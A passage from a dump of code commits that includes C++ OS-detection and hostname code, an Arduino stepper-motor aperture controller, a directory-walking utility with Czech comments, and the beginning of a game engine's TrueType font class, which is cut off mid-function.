Execution::ProcessRunner (L\"uname\").Run (String ()).Trim ();\n }\n catch (...)\n {\n DbgTrace (\"Failure running uname\");\n }\n try {\n ifstream s;\n Streams::iostream::OpenInputFileStream (&s, L\"\/etc\/os-release\");\n DataExchange::INI::Profile p = DataExchange::INI::Reader ().ReadProfile (s);\n tmp.fShortPrettyName = p.fUnnamedSection.fProperties.LookupValue (L\"NAME\");\n tmp.fPrettyNameWithMajorVersion = p.fUnnamedSection.fProperties.LookupValue (L\"PRETTY_NAME\");\n }\n catch (...)\n {\n DbgTrace (\"Failure reading \/etc\/os-release\");\n }\n if (tmp.fShortPrettyName.empty ())\n {\n tmp.fShortPrettyName = tmp.fTokenName;\n }\n if (tmp.fPrettyNameWithMajorVersion.empty ())\n {\n tmp.fPrettyNameWithMajorVersion = tmp.fShortPrettyName;\n }\n if (tmp.fRFC1945CompatProductTokenWithVersion.empty ())\n {\n tmp.fRFC1945CompatProductTokenWithVersion = tmp.fShortPrettyName.Trim ().ReplaceAll (L\" \", L\"-\");\n if (not tmp.fMajorMinorVersionString.empty ()) {\n tmp.fRFC1945CompatProductTokenWithVersion += L\"\/\" + tmp.fMajorMinorVersionString;\n }\n }\n \/\/\n \/\/ @todo FIX\/FIND BETTER WAY!\n \/\/\n \/\/http:\/\/docs.oracle.com\/cd\/E36784_01\/html\/E36874\/sysconf-3c.html\n \/\/ Quite uncertain - this is not a good reference\n \/\/ --LGP 2014-10-18\n \/\/\n tmp.fBits = ::sysconf (_SC_V6_LP64_OFF64) == _POSIX_V6_LP64_OFF64 ? 64 : 32;\n#elif qPlatform_Windows\n tmp.fTokenName = String_Constant (L\"Windows\");\n \/*\n * Microslop declares this deprecated, but then fails to provide a reasonable alternative.\n *\n * Sigh.\n *\n * http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms724429(v=vs.85).aspx - GetFileVersionInfo (kernel32.dll)\n * is a painful, and stupid alternative.\n *\/\n DISABLE_COMPILER_MSC_WARNING_START(4996)\n OSVERSIONINFOEX osvi;\n memset(&osvi, 0, sizeof (osvi));\n osvi.dwOSVersionInfoSize = sizeof (osvi);\n Verify (::GetVersionEx (reinterpret_cast<LPOSVERSIONINFO> (&osvi)));\n DISABLE_COMPILER_MSC_WARNING_END(4996)\n if (osvi.dwMajorVersion == 6)\n {\n if (osvi.dwMinorVersion == 0) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows Vista\") : String_Constant (L\"Windows Server 2008\");\n }\n else if (osvi.dwMinorVersion == 1) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows 7\") : String_Constant (L\"Windows Server 2008 R2\");\n }\n else if (osvi.dwMinorVersion == 2) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows 8\") : String_Constant (L\"Windows Server 2012\");\n }\n else if (osvi.dwMinorVersion == 3) {\n if (osvi.wProductType == VER_NT_WORKSTATION)\n tmp.fShortPrettyName = String_Constant (L\"Windows 8.1\");\n }\n }\n if (tmp.fShortPrettyName.empty ())\n {\n tmp.fShortPrettyName = Characters::Format (L\"Windows %d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n }\n tmp.fPrettyNameWithMajorVersion = tmp.fShortPrettyName;\n tmp.fMajorMinorVersionString = Characters::Format (L\"%d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n tmp.fRFC1945CompatProductTokenWithVersion = Characters::Format (L\"Windows\/%d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n if (sizeof (void*) == 4)\n {\n tmp.fBits = 32;\n \/\/IsWow64Process is not available on all supported versions of Windows.\n \/\/Use GetModuleHandle to get a handle to the DLL that contains the function\n \/\/and GetProcAddress to get a pointer to the function if available.\n typedef BOOL (WINAPI * LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\n LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"IsWow64Process\");\n if(NULL != fnIsWow64Process) {\n BOOL isWOW64 = false;\n (void)fnIsWow64Process (GetCurrentProcess(), &isWOW64);\n if (isWOW64) {\n tmp.fBits = 64;\n }\n }\n }\n else {\n \/\/ In windows, a 64 bit app cannot run on 32-bit windows\n Assert (sizeof (void*) == 8);\n tmp.fBits = 64;\n }\n#else\n AssertNotImplemented ();\n#endif\n return tmp;\n } ();\n return kCachedResult_;\n}\n\n\n\/*\n ********************************************************************************\n ***************** GetSystemConfiguration_ComputerNames *************************\n ********************************************************************************\n *\/\n#if 0 && qPlatform_POSIX\n\/\/ ALTERNATE APPROACH TO CONSIDER\nstring name;\n{\n struct addrinfo* res;\n struct addrinfo hints;\n memset(&hints, '\\0', sizeof(hints));\n hints.ai_socktype = SOCK_STREAM;\n hints.ai_flags = AI_CANONNAME;\n int e = getaddrinfo(nullptr, nullptr, &hints, &res);\n if (e != 0) {\n \/\/printf(\"failure %s\\n\", gai_strerror (e));\n return String ();\n }\n int sock = -1;\n for (struct addrinfo* r = res; r != NULL; r = r->ai_next) {\n name = r->ai_canonname ;\n break;\n }\n freeaddrinfo(res);\n}\nreturn String::FromSDKString (name);\n#endif\nSystemConfiguration::ComputerNames Configuration::GetSystemConfiguration_ComputerNames ()\n{\n using ComputerNames = SystemConfiguration::ComputerNames;\n ComputerNames result;\n#if qPlatform_POSIX\n char nameBuf[1024];\n Execution::ThrowErrNoIfNegative (gethostname (nameBuf, NEltsOf (nameBuf)));\n nameBuf[NEltsOf (nameBuf) - 1] = '\\0'; \/\/ http:\/\/linux.die.net\/man\/2\/gethostname says not necessarily nul-terminated\n result.fHostname = String::FromNarrowSDKString (nameBuf);\n#elif qPlatform_Windows\n constexpr COMPUTER_NAME_FORMAT kUseNameFormat_ = ComputerNameNetBIOS; \/\/ total WAG -- LGP 2014-10-10\n DWORD dwSize = 0;\n (void) ::GetComputerNameEx (kUseNameFormat_, nullptr, &dwSize);\n Memory::SmallStackBuffer<SDKChar> buf(dwSize);\n Execution::Platform::Windows::ThrowIfFalseGetLastError (::GetComputerNameEx (kUseNameFormat_, buf, &dwSize));\n result.fHostname = String::FromSDKString (buf);\n#else\n AssertNotImplemented ();\n#endif\n return result;\n}\n\n\n\n\n\n\/*\n ********************************************************************************\n ****************** SystemConfiguration GetSystemConfiguration ******************\n ********************************************************************************\n *\/\ninline SystemConfiguration Configuration::GetSystemConfiguration ()\n{\n return SystemConfiguration {\n GetSystemConfiguration_CPU (),\n GetSystemConfiguration_Memory (),\n GetSystemConfiguration_OperatingSystem (),\n GetSystemConfiguration_ComputerNames ()\n };\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n* For use with the Arduino\/Genuino IDE\n* \n* Program controlling motors\n*\n* License information:\n* The MIT License (MIT)\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n* documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\n* he rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and\n* to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in all copies or substantial portions of \n* the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING \n* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\n**\/\n\n#include <Stepper.h>\n\nenum EMotor {\n\tMOTOR_ALL,\n\tMOTOR_ONE,\n\tMOTOR_TWO,\n\tMOTOR_THREE\n};\n\n\/\/ Number of steps (signals) required to do a 360° rotation (?)\nconst int steps_per_revolution = 200;\n\n\/\/ Motor1 pins 1 to 4\nconst int m1_p1 = 10;\nconst int m1_p2 = 11;\nconst int m1_p3 = 12;\nconst int m1_p4 = 13;\n\n\/\/ Motor2 pins 5 to 8\nconst int m2_p1 = 5;\nconst int m2_p2 = 6;\nconst int m2_p3 = 7;\nconst int m2_p4 = 8;\n\n\/\/ Motor3 pins 9 to 12\nconst int m3_p1 = 9;\nconst int m3_p2 = 10;\nconst int m3_p3 = 11;\nconst int m3_p4 = 12;\n\n\/\/ Button input, pin 13\nconst int buttonPin = 2;\n\n\/\/ Button pressed(1) or released(0)?\n\/\/ int savedButtonState = 0;\nint aperatureActive = 0;\nunsigned int timeDuration = 0;\n\n\/\/ This the approx.(!) time in milliseconds after the aperature closes automatically\n\/\/ TODO: Is there a time library or can we use C time?\nconst int automaticCollapseMS = 10000;\n\n\/\/ These variables define the amount the motor works, it's kinda like RPM, think 1 revolution = 360°\n\/\/ don't know for sure how this is linked to the Stepper constructor paramter1 so be careful testing this!\nconst int motor1AM = 10;\nconst int motor2AM = 10;\nconst int motor3AM = 10;\n\nStepper motor1(steps_per_revolution, m1_p1, m1_p2, m1_p3, m1_p4);\nStepper motor2(steps_per_revolution, m2_p1, m2_p2, m2_p3, m2_p4);\nStepper motor3(steps_per_revolution, m3_p1, m3_p2, m3_p3, m3_p4);\n\nvoid SetMotorSpeed(EMotor motor, unsigned int speed) {\n\tswitch (motor) {\n\t\tcase MOTOR_ONE:\n\t\t\tmotor1.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_TWO:\n\t\t\tmotor2.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_THREE:\n\t\t\tmotor3.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_ALL:\n\t\t\tmotor1.setSpeed(speed);\n\t\t\tmotor2.setSpeed(speed);\n\t\t\tmotor3.setSpeed(speed);\n\t\tbreak;\n\t}\n}\n\n\/\/ @revolutions = positive amounts move the motorknob forwards, negative amounts backwards\n\/\/ remember that .step() is blocking, so if we want to move all motors at once we need a different approach\/function\n\/\/ with revolution deltas\nvoid MoveMotor(EMotor motor, int revolutions) {\n\tswitch (motor) {\n\t\tcase MOTOR_ONE:\n\t\t\tmotor1.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_TWO:\n\t\t\tmotor2.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_THREE:\n\t\t\tmotor3.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_ALL:\n\t\t\tmotor1.step(revolutions);\n\t\t\tmotor2.step(revolutions);\n\t\t\tmotor3.step(revolutions);\n\t\tbreak;\n\t}\n}\n\nvoid setup() {\n\t\/\/ Setup the button pin as input\n\tpinMode(buttonPin, INPUT);\n\t\n\t\/\/ Set the motor speed for all motor, change if necessary calling each one seperately\n\tSetMotorSpeed(MOTOR_ALL, 60);\t\t\/\/ Check C++98 enum?\n\t\n\tSerial.begin(9600);\n\t\n\tSerial.print(\"Program starting\");\n}\n\nvoid loop() {\n\tint currentButtonState = digitalRead(buttonPin);\n\t\n\tif (aperatureActive == 0 && currentButtonState == 1) {\n\t\t\/\/ Someone pressed the button while the aperature was inactive, start rolling out..\n\t\t\n\t\t\/\/ Step the motors\n\t\t\/\/ Remember: For now this moves the motors one after another.. see MoveMotor comments\n\t\tMoveMotor(MOTOR_ONE, motor1AM);\n\t\tMoveMotor(MOTOR_TWO, motor2AM);\n\t\tMoveMotor(MOTOR_THREE, motor3AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 1;\n\t}\n\telse if (aperatureActive == 1 && currentButtonState == 1) {\n\t\t\/\/ The aperature was active and the button was pressed, roll in\n\t\t\n\t\t\/\/ Step the motors backwards, so we start with motor 3\n\t\tMoveMotor(MOTOR_THREE, -1 * motor3AM);\n\t\tMoveMotor(MOTOR_TWO, -1 * motor2AM);\n\t\tMoveMotor(MOTOR_ONE, -1 * motor1AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 0;\n\t\t\n\t\t\/\/ Set time to null\n\t\ttimeDuration = 0;\n\t}\n\telse if (aperatureActive == 1 && timeDuration >= automaticCollapseMS) {\n\t\t\/\/ Automatic collapse after time duration, roll in\n\t\t\n\t\t\/\/ Step the motors backwards, so we start with motor 3\n\t\tMoveMotor(MOTOR_THREE, -1 * motor3AM);\n\t\tMoveMotor(MOTOR_TWO, -1 * motor2AM);\n\t\tMoveMotor(MOTOR_ONE, -1 * motor1AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 0;\n\t\t\n\t\t\/\/ Set time to null\n\t\ttimeDuration = 0;\n\t}\n\telse if (aperatureActive == 1) {\n\t\tdelay(1);\t\/\/ Delay for a milliseconds\n\t\ttimeDuration = timeDuration + 1;\t\/\/ And save that\n\t}\n\telse {\n\t\t\/\/ Aperature is not doing anything, Sleep to preserve power?\n\t\tdelay(1);\n\t\t\n\t\tSerial.print(\"No action\");\n\t}\n}\n\n<commit_msg>awdawdadw<commit_after>\/**\n* For use with the Arduino\/Genuino IDE\n* \n* Program controlling motors\n*\n* License information:\n* The MIT License (MIT)\n*\n* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n* documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation\n* he rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of the Software, and\n* to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n*\n* The above copyright notice and this permission notice shall be included in all copies or substantial portions of \n* the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING \n* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\n**\/\n\n#include <Stepper.h>\n\nenum EMotor {\n\tMOTOR_ALL,\n\tMOTOR_ONE,\n\tMOTOR_TWO,\n\tMOTOR_THREE\n};\n\n\/\/ Number of steps (signals) required to do a 360° rotation (?)\nconst int steps_per_revolution = 200;\n\n\/\/ Motor1 pins 1 to 4\nconst int m1_p1 = 10;\nconst int m1_p2 = 11;\nconst int m1_p3 = 12;\nconst int m1_p4 = 13;\n\n\/\/ Motor2 pins 5 to 8\nconst int m2_p1 = 5;\nconst int m2_p2 = 6;\nconst int m2_p3 = 7;\nconst int m2_p4 = 8;\n\n\/\/ Motor3 pins 9 to 12\nconst int m3_p1 = 9;\nconst int m3_p2 = 10;\nconst int m3_p3 = 11;\nconst int m3_p4 = 12;\n\n\/\/ Button input, pin 13\nconst int buttonPin = 2;\n\n\/\/ Button pressed(1) or released(0)?\n\/\/ int savedButtonState = 0;\nint aperatureActive = 0;\nunsigned int timeDuration = 0;\n\n\/\/ This the approx.(!) time in milliseconds after the aperature closes automatically\n\/\/ TODO: Is there a time library or can we use C time?\nconst int automaticCollapseMS = 10000;\n\n\/\/ These variables define the amount the motor works, it's kinda like RPM, think 1 revolution = 360°\n\/\/ don't know for sure how this is linked to the Stepper constructor paramter1 so be careful testing this!\nconst int motor1AM = 10;\nconst int motor2AM = 10;\nconst int motor3AM = 10;\n\nStepper motor1(steps_per_revolution, m1_p1, m1_p2, m1_p3, m1_p4);\nStepper motor2(steps_per_revolution, m2_p1, m2_p2, m2_p3, m2_p4);\nStepper motor3(steps_per_revolution, m3_p1, m3_p2, m3_p3, m3_p4);\n\nvoid SetMotorSpeed(EMotor motor, unsigned int speed) {\n\tswitch (motor) {\n\t\tcase MOTOR_ONE:\n\t\t\tmotor1.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_TWO:\n\t\t\tmotor2.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_THREE:\n\t\t\tmotor3.setSpeed(speed);\n\t\tbreak;\n\t\tcase MOTOR_ALL:\n\t\t\tmotor1.setSpeed(speed);\n\t\t\tmotor2.setSpeed(speed);\n\t\t\tmotor3.setSpeed(speed);\n\t\tbreak;\n\t}\n}\n\n\/\/ @revolutions = positive amounts move the motorknob forwards, negative amounts backwards\n\/\/ remember that .step() is blocking, so if we want to move all motors at once we need a different approach\/function\n\/\/ with revolution deltas\nvoid MoveMotor(EMotor motor, int revolutions) {\n\tswitch (motor) {\n\t\tcase MOTOR_ONE:\n\t\t\tmotor1.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_TWO:\n\t\t\tmotor2.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_THREE:\n\t\t\tmotor3.step(revolutions);\n\t\tbreak;\n\t\tcase MOTOR_ALL:\n\t\t\tmotor1.step(revolutions);\n\t\t\tmotor2.step(revolutions);\n\t\t\tmotor3.step(revolutions);\n\t\tbreak;\n\t}\n}\n\nvoid setup() {\n\t\/\/ Setup the button pin as input\n\tpinMode(buttonPin, INPUT);\n\t\n\t\/\/ Set the motor speed for all motor, change if necessary calling each one seperately\n\tSetMotorSpeed(MOTOR_ALL, 60);\t\t\/\/ Check C++98 enum?\n\t\n\tSerial.begin(9600);\n\t\n\tSerial.print(\"Program starting\");\n}\n\nvoid loop() {\n\tint currentButtonState = digitalRead(buttonPin);\n\t\n\tif (aperatureActive == 0 && digitalRead(buttonPin) == HIGH) {\n\t\tSerial.print(\"Button pressed, starting motors forward\");\n\t\t\/\/ Someone pressed the button while the aperature was inactive, start rolling out..\n\t\t\n\t\t\/\/ Step the motors\n\t\t\/\/ Remember: For now this moves the motors one after another.. see MoveMotor comments\n\t\tMoveMotor(MOTOR_ONE, motor1AM);\n\t\tMoveMotor(MOTOR_TWO, motor2AM);\n\t\tMoveMotor(MOTOR_THREE, motor3AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 1;\n\t}\n\telse if (aperatureActive == 1 && digitalRead(buttonPin)== HIGH) {\n\t\tSerial.print(\"Button pressed, starting motors backwards\");\n\t\t\/\/ The aperature was active and the button was pressed, roll in\n\t\t\n\t\t\/\/ Step the motors backwards, so we start with motor 3\n\t\tMoveMotor(MOTOR_THREE, -1 * motor3AM);\n\t\tMoveMotor(MOTOR_TWO, -1 * motor2AM);\n\t\tMoveMotor(MOTOR_ONE, -1 * motor1AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 0;\n\t\t\n\t\t\/\/ Set time to null\n\t\ttimeDuration = 0;\n\t}\n\telse if (aperatureActive == 1 && timeDuration >= automaticCollapseMS) {\n\t\tSerial.print(\"Time run out, starting motors backwards\");\n\t\t\/\/ Automatic collapse after time duration, roll in\n\t\t\n\t\t\/\/ Step the motors backwards, so we start with motor 3\n\t\tMoveMotor(MOTOR_THREE, -1 * motor3AM);\n\t\tMoveMotor(MOTOR_TWO, -1 * motor2AM);\n\t\tMoveMotor(MOTOR_ONE, -1 * motor1AM);\n\t\t\n\t\t\/\/ Save the state\n\t\taperatureActive = 0;\n\t\t\n\t\t\/\/ Set time to null\n\t\ttimeDuration = 0;\n\t}\n\telse if (aperatureActive == 1) {\n\t\tdelay(1);\t\/\/ Delay for a milliseconds\n\t\ttimeDuration = timeDuration + 1;\t\/\/ And save that\n\t}\n\telse {\n\t\t\/\/ Aperature is not doing anything, Sleep to preserve power?\n\t\tdelay(1);\n\t}\n}\n\n<|endoftext|>"} {"text":"<commit_before>01243bf3-2e4f-11e5-93fd-28cfe91dbc4b<commit_msg>012d1cf5-2e4f-11e5-ac58-28cfe91dbc4b<commit_after>012d1cf5-2e4f-11e5-ac58-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>3f6c98ca-2e4f-11e5-8bb9-28cfe91dbc4b<commit_msg>3f7326e1-2e4f-11e5-85b2-28cfe91dbc4b<commit_after>3f7326e1-2e4f-11e5-85b2-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>81cf0dee-2d15-11e5-af21-0401358ea401<commit_msg>81cf0def-2d15-11e5-af21-0401358ea401<commit_after>81cf0def-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <stack>\n#include <dirent.h>\n#include <stdio.h>\n#include <string.h>\n\nusing namespace std;\n\nvector<string> getFiles(string filePath)\n{\n const char* DIR_PATH = filePath.c_str();\n\n vector<string> directories;\n\n DIR *dir = opendir(DIR_PATH);\n\n struct dirent *entry = readdir(dir);\n\n while (entry != NULL)\n {\n if (entry->d_type == DT_DIR) {\n if(!strcmp(entry->d_name, \"..\") || !strcmp(entry->d_name, \".\")) {\n\n } else {\n directories.push_back(filePath + \"\/\" + entry->d_name);\n }\n }\n\n entry = readdir(dir);\n }\n\n closedir(dir);\n\n return directories;\n}\n\n\nint main(void)\n{\n string searchedDir = \"\/home\/simon\/Plocha\/Simon\";\n\n stack<string> actDir;\n\n actDir.push(searchedDir);\n\n string actSearchedDir;\n\n vector<string> dirFound;\n\n string newString = searchedDir;\n\n int dirCount = 0;\n\n while(actDir.size() > 0) {\n actSearchedDir = actDir.top();actDir.pop();\n\n cout << actSearchedDir << endl;\n\n dirFound = getFiles(actSearchedDir.c_str());\n\n for(unsigned i = 0; i < dirFound.size(); i++) {\n if(!dirFound.empty()) {\n newString = dirFound.at(i);\n \/\/cout << newString << endl;\n actDir.push(newString);\n } else {\n break;\n }\n }\n dirCount++;\n }\n\n cout << \"Bylo nalezeno celkem \" << dirCount-1 << \" složek\";\n\n return 0;\n}\n<commit_msg>Formální dodělávky<commit_after>#include <iostream>\n#include <vector>\n#include <stack>\n#include <dirent.h>\n#include <string.h>\n\nusing namespace std;\n\n\/*\n * The function returns directories found in directory.\n * First parameter is path where you want to find directories.\n * You can also use double slashes like this .....\/dir\/dir\/\/dir. Not reomanded!\n *\/\nvector<string> getDirs(string dirPath)\n{\n \/\/ Converting path to const char* because the function opendir is programmed in c\n \/\/ and c methods parameters accepts only const char* so I must convert it.\n const char* DIR_PATH = dirPath.c_str();\n\n \/\/ Declaration of dynamic array that contains found directories by path.\n vector<string> directories;\n\n \/\/ Call a function to try to open the dir by path.\n \/\/ If it doesnt exists the function will return segmentation error.\n DIR *dir = opendir(DIR_PATH);\n\n \/\/ Then try to read the dir\n struct dirent *entry = readdir(dir);\n\n \/\/ While dir has a directory.\n while (entry != NULL)\n {\n \/\/ If type of stream is directory.\n if (entry->d_type == DT_DIR) {\n \/\/ If the \"directory\" name is not \"..\" or \".\".\n if(!strcmp(entry->d_name, \"..\") || !strcmp(entry->d_name, \".\")) {\n\n } else {\n \/\/ push the actual dir path PLUS actual directory to the dynamic array.\n directories.push_back(dirPath + \"\/\" + entry->d_name);\n }\n }\n\n entry = readdir(dir);\n }\n\n \/\/ Close the dir.\n closedir(dir);\n\n return directories;\n}\n\n\nint main(void)\n{\n \/\/ A root path where you want to start searching.\n string searchedDir = \"\/home\/simon\/Plocha\/Simon\";\n\n stack<string> actDir;\n\n actDir.push(searchedDir);\n\n string actSearchedDir;\n\n vector<string> dirFound;\n\n int dirCount = 0;\n\n while(actDir.size() > 0) {\n actSearchedDir = actDir.top();actDir.pop();\n\n cout << actSearchedDir << endl;\n\n dirFound = getDirs(actSearchedDir.c_str());\n\n for(unsigned i = 0; i < dirFound.size(); i++) {\n if(!dirFound.empty()) {\n actDir.push(dirFound.at(i));\n } else {\n break;\n }\n }\n dirCount++;\n }\n\n cout << \"Bylo nalezeno celkem \" << dirCount-1 << \" složek\";\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n\n nomlib - C++11 cross-platform game engine\n\nCopyright (c) 2013, Jeffrey Carpenter <jeffrey.carp@gmail.com>\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n******************************************************************************\/\n#include \"nomlib\/graphics\/TrueTypeFont.hpp\"\n\nnamespace nom {\n\nTrueTypeFont::TrueTypeFont ( void )\n{\nNOM_LOG_TRACE ( NOM );\n\n this->font = nullptr;\n this->coords = Coords ( 0, 0, 0, 0 );\n this->color = Color4u ( 0, 0, 0 );\n this->text_buffer = \"\\0\";\n this->text_style = FontStyle::Regular; \/\/ default text styling effect\n this->text_alignment = TextAlignment::MiddleLeft;\n this->rendering = RenderStyle::Solid; \/\/ Fast, but ugly\n this->style_options = 0;\n this->filename = \"\\0\";\n this->font_size = 12;\n this->use_cache = false;\n}\n\nTrueTypeFont::~TrueTypeFont ( void )\n{\nNOM_LOG_TRACE ( NOM );\n}\n\nIFont::SharedPtr TrueTypeFont::clone ( void ) const\n{\n return IFont::SharedPtr ( new TrueTypeFont ( *this ), priv::Free_TrueTypeFont );\n}\n\nbool TrueTypeFont::valid ( void ) const\n{\n if ( this->font.get() != nullptr )\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nconst std::string& TrueTypeFont::getText ( void ) const\n{\n return this->text_buffer;\n}\n\nint32 TrueTypeFont::getFontWidth ( void ) const\n{\n return this->coords.width;\n}\n\nint32 TrueTypeFont::getFontHeight ( void ) const\n{\n return this->coords.height;\n}\n\nIFont::FontStyle TrueTypeFont::getFontStyle ( void ) const\n{\n return this->text_style;\n}\n\nconst Color4u& TrueTypeFont::getColor ( void ) const\n{\n return this->color;\n}\n\nconst Coords& TrueTypeFont::getPosition ( void ) const\n{\n return this->coords;\n}\n\nuint32 TrueTypeFont::getNewline ( void ) const\n{\n \/\/ Not implemented\n return 0;\n}\n\nuint32 TrueTypeFont::getSpacing ( void ) const\n{\n \/\/ Not implemented\n return 0;\n}\n\nIFont::TextAlignment TrueTypeFont::getTextJustification ( void ) const\n{\n return this->text_alignment;\n}\n\nvoid TrueTypeFont::setColor ( const Color4u& color )\n{\n this->color = color;\n}\n\nvoid TrueTypeFont::setPosition ( const Coords& coords )\n{\n this->coords.x = coords.x;\n this->coords.y = coords.y;\n}\n\nvoid TrueTypeFont::setFontSize ( int32 point_size )\n{\n int32 original_font_size = this->font_size;\n\n this->font_size = point_size;\n\n if ( this->rebuild() == false )\n {\nNOM_LOG_ERR ( NOM, \"Could not set new font size.\" );\n this->font_size = original_font_size;\n return;\n }\n}\n\nvoid TrueTypeFont::setFontStyle ( int32 style, uint8 options )\n{\n switch ( style )\n {\n default: break;\n case FontStyle::Regular:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_NORMAL );\n }\n break;\n\n case FontStyle::Bold:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_BOLD );\n }\n break;\n\n case FontStyle::Italic:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_ITALIC );\n }\n break;\n\n case FontStyle::Underlined:\n {\n TTF_SetFontStyle ( this->font.get(), TTF_STYLE_UNDERLINE );\n }\n break;\n\n \/\/\/ Text effect utilizing alpha channels for the appearance of gray text\n case FontStyle::Faded:\n {\n this->text_style = FontStyle::Faded;\n this->style_options = options;\n break;\n }\n }\n}\n\nint32 TrueTypeFont::getFontOutline ( void ) const\n{\n return TTF_GetFontOutline ( this->font.get() );\n}\n\nvoid TrueTypeFont::setFontOutline ( int32 depth )\n{\n TTF_SetFontOutline ( this->font.get(), depth );\n}\n\nIFont::RenderStyle TrueTypeFont::getRenderingStyle ( void ) const\n{\n return this->rendering;\n}\n\nvoid TrueTypeFont::setRenderingStyle ( IFont::RenderStyle style )\n{\n this->rendering = style;\n}\n\nvoid TrueTypeFont::setText ( const std::string& text )\n{\n if ( text.length() < 1 ) return;\n\n this->text_buffer = text;\n\n \/\/ Update the width & height of text string, if we can\n if ( TTF_SizeText ( this->font.get(), this->text_buffer.c_str(), &this->coords.width, &this->coords.height ) == -1 )\n {\nNOM_LOG_ERR ( NOM, \"Failed to set font width & height.\" );\n }\n}\n\nvoid TrueTypeFont::setSpacing ( uint32 spaces )\n{\n \/\/ Not implemented\n}\n\nvoid TrueTypeFont::setTextJustification ( IFont::TextAlignment alignment )\n{\n this->text_alignment = alignment;\n}\n\nbool TrueTypeFont::load ( const std::string& filename, const Color4u& colorkey,\n bool use_cache\n )\n{\n this->font = 